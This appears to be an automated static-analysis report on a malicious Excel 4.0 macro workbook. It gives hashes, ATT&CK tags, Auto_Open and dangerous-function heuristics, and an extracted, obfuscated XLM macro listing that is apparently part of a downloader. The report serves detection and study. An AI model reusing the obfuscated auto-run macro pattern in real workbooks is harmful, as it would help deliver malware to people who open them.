Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d6b9ba7711114e7e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:15 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: e038e28f7a1788b1135d89552c71b937 SHA-1: f88bd72d4d3f40c9abccfb885775bdf3e934f729 SHA-256: d6b9ba7711114e7e0fff780f4807474078b897e6e2d68989a63f5cc2a627124b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary commands, a common technique for downloading and executing further malicious content. No specific family could be identified, but the execution method points to a downloader or initial access payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6592 bytes
SHA-256: 31898d978b815998f0f91fde57f1d4fb0e528147fc5450f7b377f14bb6b73a3a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vatD
' 0018     26 LABEL : Cell Value, String Constant - aLKJVkjPukn len=0 
' 0018     23 LABEL : Cell Value, String Constant - AUBuiYzn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A143 
' 0018     24 LABEL : Cell Value, String Constant - BExJoZkyj len=0 
' 0018     22 LABEL : Cell Value, String Constant - BgJSRvj len=0 
' 0018     25 LABEL : Cell Value, String Constant - CUaqJOnLjb len=0 
' 0018     27 LABEL : Cell Value, String Constant - eLblajgKEhym len=0 
' 0018     24 LABEL : Cell Value, String Constant - fDDVojiKf len=0 
' 0018     27 LABEL : Cell Value, String Constant - fPCcGSMprOWS len=0 
' 0018     23 LABEL : Cell Value, String Constant - gkdpUqiZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - gnQSTllI len=0 
' 0018     21 LABEL : Cell Value, String Constant - hcyOGf len=0 
' 0018     23 LABEL : Cell Value, String Constant - HluKZiaL len=0 
' 0018     22 LABEL : Cell Value, String Constant - iiYXwDF len=0 
' 0018     23 LABEL : Cell Value, String Constant - IzFjfGBe len=0 
' 0018     23 LABEL : Cell Value, String Constant - NsaVWTNk len=0 
' 0018     20 LABEL : Cell Value, String Constant - OvGSw len=0 
' 0018     27 LABEL : Cell Value, String Constant - qlgMvFdOBylp len=0 
' 0018     23 LABEL : Cell Value, String Constant - RwuWHLcN len=0 
' 0018     21 LABEL : Cell Value, String Constant - UZLivh len=0 
' 0018     20 LABEL : Cell Value, String Constant - VCVMv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vatD,A47,"SET.NAME("qlgMvFdOBylp",0+VALUE("0"))",""
'  vatD,A52,"SET.NAME("aLKJVkjPukn",qlgMvFdOBylp)",""
'  vatD,A57,"SET.NAME("gkdpUqiZ",qlgMvFdOBylp)",""
'  vatD,A61,"SET.NAME("NsaVWTNk",COUNTA(AUBuiYzn))",""
'  vatD,A64,"SET.NAME("IzFjfGBe",COUNTA(BExJoZkyj))",""
'  vatD,A66,[],""
'  vatD,A70,"SET.NAME("iiYXwDF","")",""
'  vatD,A73,"aLKJVkjPukn",""
'  vatD,A75,"SET.NAME("OvGSw",HLOOKUP("*",AUBuiYzn,aLKJVkjPukn,FALSE))",""
'  vatD,A80,"HluKZiaL",""
'  vatD,A84,"SET.NAME("CUaqJOnLjb",qlgMvFdOBylp)",""
'  vatD,A86,[],""
'  vatD,A89,"CUaqJOnLjb",""
'  vatD,A94,"fPCcGSMprOWS",""
'  vatD,R95,"",414.00000000000000000000
'  vatD,R96,"",114.00000000000000000000
'  vatD,A97,"fDDVojiKf",""
'  vatD,R97,"",-53.00000000000000000000
'  vatD,R98,"",-510.00000000000000000000
'  vatD,R99,"",630.00000000000000000000
'  vatD,R100,"",-17.00000000000000000000
'  vatD,A101,"RwuWHLcN",""
'  vatD,A106,"SET.NAME("gnQSTllI",VALUE(HLOOKUP("*",BExJoZkyj,RwuWHLcN,FALSE)))",""
'  vatD,A109,"hcyOGf",""
'  vatD,A113,"iiYXwDF",""
'  vatD,A118,"gkdpUqiZ",""
'  vatD,A123,NEXT(),""
'  vatD,A126,"BgJSRvj",""
'  vatD,A130,[],""
'  vatD,A133,"VCVMv",""
'  vatD,A136,NEXT(),""
'  vatD,A140,RETURN(),""
'  vatD,A171,"SET.NAME("eLblajgKEhym",A47)",""
'  vatD,A174,"AUBuiYzn",""
'  vatD,A177,"SET.NAME("BExJoZkyj",R75C15)",""
'  vatD,A180,"SET.NAME("VCVMv",190)",""
'  vatD,A184,"SET.NAME("UZLivh",1)",""
'  vatD,A189,eLblajgKEhym(),""
'  vatD,A190,HALT(),""